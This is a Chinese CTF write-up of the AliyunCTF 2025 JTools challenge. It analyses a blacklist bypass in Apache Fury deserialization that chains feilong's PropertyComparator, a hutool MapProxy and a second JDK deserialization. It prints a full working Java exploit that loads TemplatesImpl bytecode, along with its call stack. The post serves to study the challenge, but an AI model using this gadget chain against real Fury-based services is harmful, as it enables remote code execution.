AliyunCTF2025-JTools分析

前言

这道题EXP不难理解,fury反序列化让我想起一位故人:

去年国赛华北分区赛的一道fury题,当我复现完Aliyun这道题马上就想到了华北那道,但是两个fury的黑名单其实是一样的,只是Aliyun的加了一个com.feilong,也是这道题的突破口,华北那道有点显得无懈可击了。。。

那道题是0解7修,应该是石沉大海了。期望有缘的大佬能将那道题解出来让我学习学习吧(

分析

官方EXP其实写的很清楚了,打开就一个很显然的fury反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Server {
public Server() {
}

public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String data = request.getParam("data");
String result = "";
if (data == null) {
response.write(IOReaderUtil.readToString("/tmp/desc.txt"), ContentType.TEXT_PLAIN.toString());
}

try {
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
Object deserialize = fury.deserialize(Base64.getDecoder().decode(data));
result = deserialize.toString();
} catch (Exception e) {
result = e.getMessage();
}

response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

对比官方的fury黑名单,发现末尾有一个新的com.feilong:

image-20250301194839339

接下来就需要找链子挖掘了,这个com.feilong相当于是hint了吧。

审计可发现,com.feilong.core.util.comparator.PropertyComparator的compare方法可以触发getter调用:

image-20250301195347826

image-20250301195633082

但是我没有太懂整个完全的链,写wp的也是把难题留给了做题人,草草了事了。

image-20250301200331433

image-20250301200340270

source&sink直接用CC链里的:

1
2
3
4
PriorityQueue.readObject()
PropertyComparator.compare()
TemplatesImpl.getOutputProperties()
...加载自定义字节码

然后利用动态代理触发MapProxy的invoke,到达BeanConverter的jdk二次反序列化点绕过黑名单。

这个思路我确实闻所未闻,网上也没有相关的记载。做出这道题的也好像只有三四个队。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package exp.eddiemurphy;

import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class Exp {

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}


public static void main(String[] args) throws Exception {
///templates

InputStream inputStream = Exp.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "hello");


TemplatesImpl tmpl1 = new TemplatesImpl();
Field bytecodes1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes1.setAccessible(true);
bytecodes1.set(tmpl1, new byte[][]{bytes});
Field name1 = TemplatesImpl.class.getDeclaredField("_name");
name1.setAccessible(true);
name1.set(tmpl1, "hello2");
///templates
String prop = "digester";
PropertyComparator propertyComparator = new PropertyComparator(prop);
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
////jdk

Object templatesImpl1 = tmpl1;
Object templatesImpl = tmpl;

PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");

PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
Object[] objectsjdk = {templatesImpl1, templatesImpl};
setFieldValue(priorityQueue1, "queue", objectsjdk);
/////jdk

byte[] data = SerializeUtil.serialize(priorityQueue1);

Map hashmap = new HashMap();
hashmap.put(prop, data);

MapProxy mapProxy = new MapProxy(hashmap);
ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);


PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", "2");
Object[] objects = {test, test1};
setFieldValue(priorityQueue, "queue", objects);

byte[] serialize = fury.serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(serialize));

//Object deserialize = fury.deserialize(serialize);
//String result = deserialize.toString();

}
}

其实看完整的EXP还是比较有逻辑的,两次反序列化把恶意字节码的杀招藏到了赋有outputPropertiespriorityQueue,序列化之后再套了一个fury序列化来使得最初的黑名单检测失效,只不过digester的寻找确实需要一定的时间和调试了。

image-20250301200949465

题目是不出网的,这里由于没spring啥的依赖所以打内存马有点困难,但是题目贴心的给了一个读取/tmp/desc.txt的文件,那么直接覆盖读文件就可以了:

image-20250301201205535

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils) [2]
getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:162, PropertyUtils (com.feilong.lib.beanutils)
getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean)
obtain:70, PropertyValueObtainer (com.feilong.core.bean)
getProperty:577, PropertyUtil (com.feilong.core.bean)
compare:430, PropertyComparator (com.feilong.core.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
readObj:615, IoUtil (cn.hutool.core.io)
readObj:582, IoUtil (cn.hutool.core.io)
readObj:563, IoUtil (cn.hutool.core.io)
deserialize:65, SerializeUtil (cn.hutool.core.util)
deserialize:594, ObjectUtil (cn.hutool.core.util)
convertInternal:81, BeanConverter (cn.hutool.core.convert.impl)
convert:58, AbstractConverter (cn.hutool.core.convert)
convert:288, ConverterRegistry (cn.hutool.core.convert)
convert:307, ConverterRegistry (cn.hutool.core.convert)
convertWithCheck:765, Convert (cn.hutool.core.convert)
convert:718, Convert (cn.hutool.core.convert)
convert:689, Convert (cn.hutool.core.convert)
invoke:147, MapProxy (cn.hutool.core.map)
getDigester:-1, $Proxy0 (com.sun.proxy)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils) [1]
getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:162, PropertyUtils (com.feilong.lib.beanutils)
getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean)
obtain:70, PropertyValueObtainer (com.feilong.core.bean)
getProperty:577, PropertyUtil (com.feilong.core.bean)
compare:430, PropertyComparator (com.feilong.core.util.comparator)
siftUpUsingComparator:669, PriorityQueue (java.util)
siftUp:645, PriorityQueue (java.util)
offer:344, PriorityQueue (java.util)
add:321, PriorityQueue (java.util)
readSameTypeElements:694, AbstractCollectionSerializer (org.apache.fury.serializer.collection)
generalJavaRead:672, AbstractCollectionSerializer (org.apache.fury.serializer.collection)
readElements:595, AbstractCollectionSerializer (org.apache.fury.serializer.collection)
read:73, CollectionSerializer (org.apache.fury.serializer.collection)
read:28, CollectionSerializer (org.apache.fury.serializer.collection)
readDataInternal:972, Fury (org.apache.fury)
readRef:865, Fury (org.apache.fury)
deserialize:797, Fury (org.apache.fury)
deserialize:718, Fury (org.apache.fury)

这篇文章分析链子挺好:AliyunCTF2025 题解之 Jtools Fury 反序列化利用分析

后记

最后,还是期望国赛华北那道fury有高手能看看怎么做,或者patch的方法也可以交流一下。

逻辑是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class ApiController {
public ApiController() {
}

@RequestMapping({"/"})
public String api(@RequestParam(value = "apistr",required = false,defaultValue = "") String apistr, Model model) {
if (apistr.equals("")) {
model.addAttribute("msg", "{ \"id\": 1, \"name\": \"admin\", \"age\": 21, \"phone\": \"13300000000\" }");
} else {
try {
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] decode = Base64.getDecoder().decode(apistr);
Object person = fury.deserialize(decode);
JSONObject entries = JSONUtil.parseObj(person);
model.addAttribute("msg", entries.toString());
} catch (Exception var7) {
model.addAttribute("msg", "error apistr");
}
}

return "index";
}
}

依赖也是hutool,多了spring、jackson、thymeleaf、snakeyaml这些。

而每年的AliyunCTF都会让后面大大小小的CTF有所借鉴,或许对于fury反序列化的研究是即将成为众矢之的了。


AliyunCTF2025-JTools分析
https://eddiemurphy89.github.io/2025/03/01/AliyunCTF2025-JTools分析/
作者
EddieMurphy
发布于
2025年3月1日
许可协议